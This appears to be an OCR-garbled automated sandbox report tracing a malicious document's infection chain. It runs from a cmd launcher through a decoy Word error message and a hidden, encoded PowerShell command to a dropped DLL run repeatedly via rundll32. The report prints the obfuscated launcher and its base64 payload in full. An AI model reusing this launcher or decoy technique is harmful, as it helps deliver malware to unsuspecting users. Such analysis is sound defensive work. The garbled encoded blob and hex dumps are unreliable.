00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00
RRACHRHO 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Source
Count Address

Symbol
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Key Path

Name

Type

00 00 00 00 00 00 00 00 00 00
20PD&R00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 FF FF FF
FF

00 00 00 00 00 00 00 00 00 00
RRAARH0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 FF FF FF
FF

Completion

Source
Count Address

Symbol

Analysis Process: cmd.exe PID: 1100 Parent PID: 1220

General

Start time:
Start date:
Path:

Wow64 process (32bit):

Copyright null 2021

20:30:35

12/01/2021

C:\Windows\System32\cmd.exe

false
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Commandline:

Imagebase:

Copyright null 2021

cmd cmd /c m"s"g %username% /v Word exp”erien”ced an er*ror tryi*ng to op”en th”e fi*le.
& prowe”rs*heMIN -w hirdd”en -“e”nc IAAGACQAOABaAECAIAAgADOAIABbAH ADYAXWBNAD QB2AGEAJWAPAC
SAKAANAGQAbgANACSAIWBhAGAAIWAPACSAKAANAHMAY QANACSAIWBOACCAKQ
ArACcAaQBUACCAKWAOACCALgBJACCAKWANAGBAbBQANACKAKWAOACCALWANAC
SAJWB3AHAAIWArACCALQBPAGAAYWANACKAKWANAGWAQANACSAKAANAGQAZQ
AnACsAJwBzAC8BAdWAVAEAAIWAPACSAIWB3ACCAKWANAFOAIWArACgAIWBAAC
CcAKWANAGOAWWANACKAKWAOACCAdgABACBALWANACSAIWBZAGBABAANACSAIW
BpAGMAbwANACKAKWANAGA4AIWArACgAIWAUAHUACWANACSAIWAVAGEAbBABSAG
EAJWArACcAbQANACSAIWAAGMAeQANACKAKWAOACCAYWBSAGUAIWArACCALQ
AXAGMANAANACKAKWAOACCAZWBUACCAKWANACBAZgALACCAKQArACcAegAVAC
CcAKWAOACCAQAANACSAIWB3AFOAIWAPACSAKAANAHGAIWArACCAbQBbACCAKwW
ANAHYAOgAVACCAKWANACBAdWB3AHCALgBYAGKACABhAHIAY QB6AGKAIWATAC QBYAGOACWANACSAIWBOAGEAZAANACSAIWBOACAAZAANACSAIW
BIACCAKQArACCALWBJACCAKWAOACCAZWBPACOAY gBpAGAAIWArACCALWBaAC
CcAKQArACcAUWANACSAKAANAGBAIWArACCAbwAVACCAKQAPACAAIgBYyAEUACA
BSAEEAYABJAGUAIgA0ACYAKAANAHCAXQBAAGOAIWArACCAWWANACKAKWANAH
YAIWAPACWAKABDAGEACYBYAGEAeQBAACJAKAANAGQACWANACSAKAANAGUAIW
ArACcAdwBmMACCcAKQAPACWAKAANAHCAZQANACSAKAANAHYAdWANACSAJWBIAC
CAKQAPACKALAAOACCAYQBIACCAKWANAGYAZJANACKALAAOACCAaABOACCAKW
ANAHQACAANACKAKQBDADIAXQAPACA4AIgBTAGAAUABMAEKAJAAIACJAIABPAD
UAXWBZACAAKWAGACQASYBIAHOAMWB5AGEAY QAJGACSAIAAKAEWAXWAWAEMAKQ QBrADSAJABLADgAMQBBADOAKAANAE
UAJWArACgAIWA3ACCAKWANADQARAANACKAKQBIAHOAYWBhAHQAYWBOAHSATQ
B9ACQAUWA1ADIATgAIACIAIWBZADCAIWArACCAMYBTACCAKQA=

0x4a3f0000
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File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

345088 bytes
5746BD7E255DD6A8BAFA06F7C42C1BA41L
true

true

C, C++ or other language

Reputation: moderate
Analysis Process: msg.exe PID: 2572 Parent PID: 1100

General

Start time: 20:30:36

Start date: 12/01/2021

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

C:\Windows\System32\msg.exe

false

msg user /v Word experienced an error trying to open the file.
0xff0Of0000

26112 bytes

2214979661E779C3E3C33D4F14E6F3AC

true

true

C, C++ or other language

Reputation: moderate
Analysis Process: powershell.exe PID: 2552 Parent PID: 1100

General

Start time: 20:30:36

Start date: 12/01/2021

Path:

Wow64 process (32bit):

Copyright null 2021

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

false
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Commandline: powershell -w hidden -enc IAAGACQAOABaAECAIAAgADOAIABbAH ADYAXWBNAD QB2AGEAIWAPAC
SAKAANAGQAbgANACSAIWBhAGAAIWAPACSAKAANAHMAY QANACSAIWBOACCAKQ
ArACcAaQBUACCAKWAOACCALgBJACCAKWANAGBAbBQANACKAKWAOACCALWANAC
SAJWB3AHAAIWArACCALQBPAGAAYWANACKAKWANAGWAIQANACSAKAANAGQAZQ
AnACsAJwBzAC8BAdWAVAEAAIWAPACSAIWB3ACCAKWANAFOAIWArACgAIWBAAC
cAKWANAGOAWWANACKAKWAOACCAdgABACBALWANACSAIWBZAGBABAANACSAIW
BpAGMAbwANACKAKWANAGA4AIWArACgAIWAUAHUACWANACSAIWAVAGEAbABSAG
EAJWArACcAbQANACSAIWAAGMAeQANACKAKWAOACCAYWBSAGUAIWArACCALQ
AXAGMANAANACKAKWAOACCAZWBUACCAKWANACBAZgALACCAKQArACcAegAVAC
CcAKWAOACCAQAANACSAIWB3AFOAIWAPACSAKAANAHGAIWAIACCAbDQBbACCAKwW
ANAHYAOgAVACCAKWANACBAdWB3AHCALgBYAGKACABhAHIAY QB6AGKAIWATACSAJWBHAE4ATQANACSAIJWAVAEAADWANACSAIWBAAHgADQBbAHYAIJWAPACSAKA
AnADOAJWArACCALWANACSAIWAVAGIAZQBSAGWAYQBzACCAKQArACgAIWALAG
QAJWArACCAY QBYAGOACWANACSAIWBOAGEAZAANACSAIWBOACAAZAANACSAIW
BIACCAKQArACCALWBJACCAKWAOACCAZWBPACOAY gBpAGAAIWArACCALWBaAC
cAKQArACcAUWANACSAKAANAGBAIWArACCAbwAVACCAKQAPACAAIgByAEUACA
BSAEEAYABJAGUAIgA0ACYAKAANAHCAXQBAAGOAIWAIACCAWWANACKAKWANAH
YAIWAPACWAKABDAGEACYBYAGEAeQBAACJAKAANAGQACWANACSAKAANAGUAIW
ArACcAdwBmMACCcAKQAPACWAKAANAHCAZQANACSAKAANAHYAdWANACSAJWBIAC
CAKQAPACKALAAOACCAYQBIACCAKWANAGYAZJANACKALAAOACCAaABOACCAKW
ANAHQACAANACKAKQBDADIAXQAPAC4AIgBTAGAAUABMAEKAJAAIACJAIABPAD
UAXWBZACAAKWAGACQASYBIAHOAMWB5AGEAY QAgACSAIAAKAEWAXWAWAEMAKQ QBrADSAJABLADgAMQBBADOAKAANAE
UAJWArACgAIWA3ACCAKWANADQARAANACKAKQBIAHOAYWBhAHQAYWBOAHSATQ
B9ACQAUWA1ADIATgAIACIAIWBZADCAIWArACCAMYBTACCAKQA=

Imagebase: 0x13fab0000
File size: 473600 bytes
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MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Path
C:\Users\user\Kjl48kr

C:\Users\user\Kjl48kr\Ngm9ty9

C:\Users\user\Kjl48kr\Ngm9ty9\S93E.dlI

File Deleted

File Path
C:\Users\user\Kjl48kr\Ngm9ty9\S93E.dlI

Old File Path

File Written

File Path
C:\Users\user\Kjl48kr\Ngm9ty9\S93E.dlI

Copyright null 2021

852D67A27E454BD389FA7F02A8CBE23F

true
true
Net C# or VB.NET
high

Access Attributes Options

read data or list device
directory |
synchronize

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

read data or list device
directory |
synchronize

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

read attributes | device
synchronize |
generic write

non alert | non
directory file |
open no recall

New File Path

Offset Length Value Ascii

unknown 4096  4d5a9000030000 MZ..................... @

00 04 00 00 00 ff ff 0O ...
00 b8 00 00 00 00 00

Source
Completion Count Address Symbol
success or wait 1 7FEE875BEC7 CreateDirectoryW

success or wait 1

synchronous io  success or wait 2

00 00 40 00 00 00 00 cannot be run in DOS

00 00 00 00 00 00 00 mode....

00000000000000 $....... 2 B ZZ—

00 00 00 00 00 00 00 .I.
00 00 00 00 000000 ...
00 00 00 80 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 7320 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 50 45 00 00 4c 01
06 00 5a de fd 5f 00
00 00 00 00 00 00 00
€0 00 Oe 21 Ob 01 02
3200 46 00 00 00 d4
04 00 00 00 00 00 fO
2100 00 00 10 00 00
00 60 00 00 00 00 00
10 00 10 00 00 00 02
00 00 03 00 00 00 00
00 00 00 04 00 00 00
00 00 00 00 00 60 05
00 00 04 00 00 01 09
06 00 02 00 00 00 00
00 10 00 00 10 00 00
00 00 10 00 00 10 00
00 00 00 00 00 10 00
00 00 00 00 00 00 00
00 00

7FEE875BEC7 CreateDirectoryW

7FEE875BEC7 CreateFileW

Source

Completion Count Address Symbol

success or wait 1 7TFEE875BECT DeleteFileW
Source
Completion Count Address Symbol
Source

Completion Count Address Symbol
success or wait 1 7TFEE875BEC7 WriteFile

L.IThis program
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File Path Offset Length

C:\Users\user\Kjl48kr\Ngm9ty9\S93E.dlI unknown 8761

File Read

File Path

C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml
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Value

7300 10 6a 00 ff 15
78 73 00 10 6a 00 ff
1578 73 00 10 6a 00
ff 15 78 73 00 10 6a
00 ff 15 78 73 00 10
6a 00 ff 15 78 73 00
10 6a 00 ff 15 78 73
00 10 6a 00 ff 15 78
7300 10 6a 00 ff 15
78 73 00 10 6a 00 ff
1578 73 00 10 6a 00
ff 15 78 73 00 10 6a
00 ff 15 78 73 00 10
6a 00 ff 15 78 73 00
10 6a 00 ff 15 78 73
00 10 6a 00 ff 15 78
7300 10 6a 00 ff 15
78 73 00 10 6a 00 ff
1578 73 00 10 6a 00
ff 15 78 73 00 10 6a
00 ff 15 78 73 00 10
6a 00 ff 15 78 73 00
10 6a 00 ff 15 78 73
00 10 6a 00 ff 15 78
7300 10 6a 00 ff 15
78 73 00 10 6a 00 ff
1578 73 00 10 6a 00
ff 15 78 73 00 10 6a
00 ff 15 78 73 00 10
6a 00 ff 15 78 73 00
10 6a 00 ff 15 78 73
00 10 6a 00 ff 15 78
7300 10 6a 00 ff 15
78 73 00 10 6a 00 ff
1578 73 00 10 6a 00
ff 15 78 73 00 10 6a
00 ff 15

Offset Length
unknown 4095
unknown 6304
unknown 4095
unknown 4096
unknown 781
unknown 4096
unknown 4096
unknown 4096
unknown 4096
unknown 542
unknown 4096
unknown 4096
unknown 78
unknown 4096
unknown 4096
unknown 310
unknown 4096
unknown 4096
unknown 50
unknown 4096
unknown 4096
unknown 4096
unknown 4096
unknown 201
unknown 4096
unknown 4096
unknown 409
unknown 4096
unknown 4096
unknown 844
unknown 4096
unknown 4096

Ascii

S.jeeXS. . XS XS
XS..J...XS..]...XS..]...XS..]
XS, XS, ). XS . XS,
Jee XS XS XS X
S.jee XS, XS XS
XS..J...XS.]...XS..]...XS..]

JeeXS. XS XS X
S

Completion

success or wait

Completion
success or wait
success or wait
success or wait
success or wait
end of file

end of file
success or wait
end of file
success or wait
end of file

end of file
success or wait
end of file

end of file
success or wait
end of file

end of file
success or wait
end of file

end of file
success or wait
end of file
success or wait
end of file

end of file
success or wait
end of file

end of file
success or wait
end of file

end of file

success or wait

Source

Count Address

14

Count
1
3
1
4
1
1

42

P PN R R O R R N R

e
©

Symbol

7FEE875BEC7 WriteFile

Source
Address

7FEE85C5208
7FEE85C5208
7FEE86EA287
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7
7FEE875BEC7

Symbol

unknown
unknown
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
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Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 4096 success or wait 1 7FEE86B69DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 512 success or wait 1 7FEE86B69DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 success or wait 1 7FEE875BEC7 ReadFile
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dll unknown 4096 success or wait 1 7FEE86B69DF unknown
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dll unknown 512 success or wait 1 7FEE86B69DF unknown
C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.dll unknown 4096 success or wait 1 7FEE86B69DF unknown
C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.dll unknown 512 success or wait 1 7FEE86B69DF unknown
Registry Activities
Source
Key Path Completion Count Address Symbol
Source
Key Path Name Type Data Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2332 Parent PID: 2552
General
Start time: 20:30:40
Start date: 12/01/2021
Path: C:\Windows\System32\rundll32.exe
Wow64 process (32bit): false
Commandline: ‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Kjl48kr\Ngm9ty9\S93E.dIl ShowDialogA
Imagebase: 0xffdd0000
File size: 45568 bytes
MD5 hash: DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate
File Activities
File Read
Source
File Path Offset Length Completion Count Address  Symbol
C:\Users\user\Kjl48kr\Ngm9ty9\S93E.dll unknown 64 success or wait 1 FFDD27D0 ReadFile
C:\Users\user\Kjl48kr\Ngm9ty9\S93E.dll unknown 264 success or wait 1 FFDD281C ReadFile
Analysis Process: rundll32.exe PID: 2760 Parent PID: 2332
General
Start time: 20:30:40
Start date: 12/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit): true
Commandline: ‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Kjl48kr\Ngm9ty9\S93E.dIl ShowDialogA
Imagebase: 0x50000
File size: 44544 bytes
MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8
Has elevated privileges: true
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Has administrator privileges: true
Programmed in: C, C++ or other language

Reputation: moderate

File Activities

File Path Access Attributes Options Completion
Old File Path New File Path Completion
File Path Offset Length Completion

Source
Count Address Symbol

Source
Count Address Symbol

Source
Count Address Symbol

Analysis Process: rundll32.exe PID: 2732 Parent PID: 2760

General
Start time: 20:30:41
Start date: 12/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit): true
Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Giyrh\pugu.vsm',ShowDialog
A
Imagebase: 0x50000
File size: 44544 bytes
MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 1980 Parent PID: 2732
General
Start time: 20:30:42
Start date: 12/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit): true
Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ivtnyoggxjx\ctmhexvkrv.xdn
',ShowDialogA
Imagebase: 0x50000
File size: 44544 bytes
MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
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Source
Old File Path New File Path Completion Count Address Symbol

Analysis Process: rundll32.exe PID: 2724 Parent PID: 1980

General

Start time: 20:30:43

Start date: 12/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pvbzatsazzovzkv\hcdstjffkh
swof.tvm',ShowDialogA

Imagebase: 0x50000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File Activities

Source

File Path Access Attributes Options Completion Count Address Symbol
Source

Old File Path New File Path Completion Count Address Symbol

Analysis Process: rundll32.exe PID: 2500 Parent PID: 2724

General

Start time: 20:30:44

Start date: 12/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ipdtn\rmgx.ktd', ShowDialogA

Imagebase: 0x50000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File Activities

Source

File Path Access Attributes Options Completion Count Address Symbol
Source

Old File Path New File Path Completion Count Address Symbol

Analysis Process: rundll32.exe PID: 1776 Parent PID: 2500

General

Start time: 20:30:45
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Start date:
Path:
Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

12/01/2021
C:\Windows\SysWOW64\rundll32.exe
true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wxiibgduobebnp\h
fpumnmgeezpt.jsh',ShowDialogA

0x50000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

Reputation: moderate
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2808 Parent PID: 1776
General
Start time: 20:30:45
Start date: 12/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ndsevdxfleyh\dktakeexwon.a
gz',ShowDialogA

0x50000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

Reputation: moderate
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 3068 Parent PID: 2808
General
Start time: 20:30:46
Start date: 12/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:
File size:
MD5 hash:
Has elevated privileges:
Has administrator privileges:
Programmed in:

Copyright null 2021

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fmtjatw\czosow.gcn',ShowDi
alogA

0x50000
44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true
true
C, C++ or other language
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Reputation: moderate

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 3012 Parent PID: 3068
General
Start time: 20:30:47
Start date: 12/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit): true
Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Udumexhq\tqgkgid.sgp',Show
DialogA
Imagebase: 0x50000
File size: 44544 bytes
MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate
Disassembly
Code Analysis
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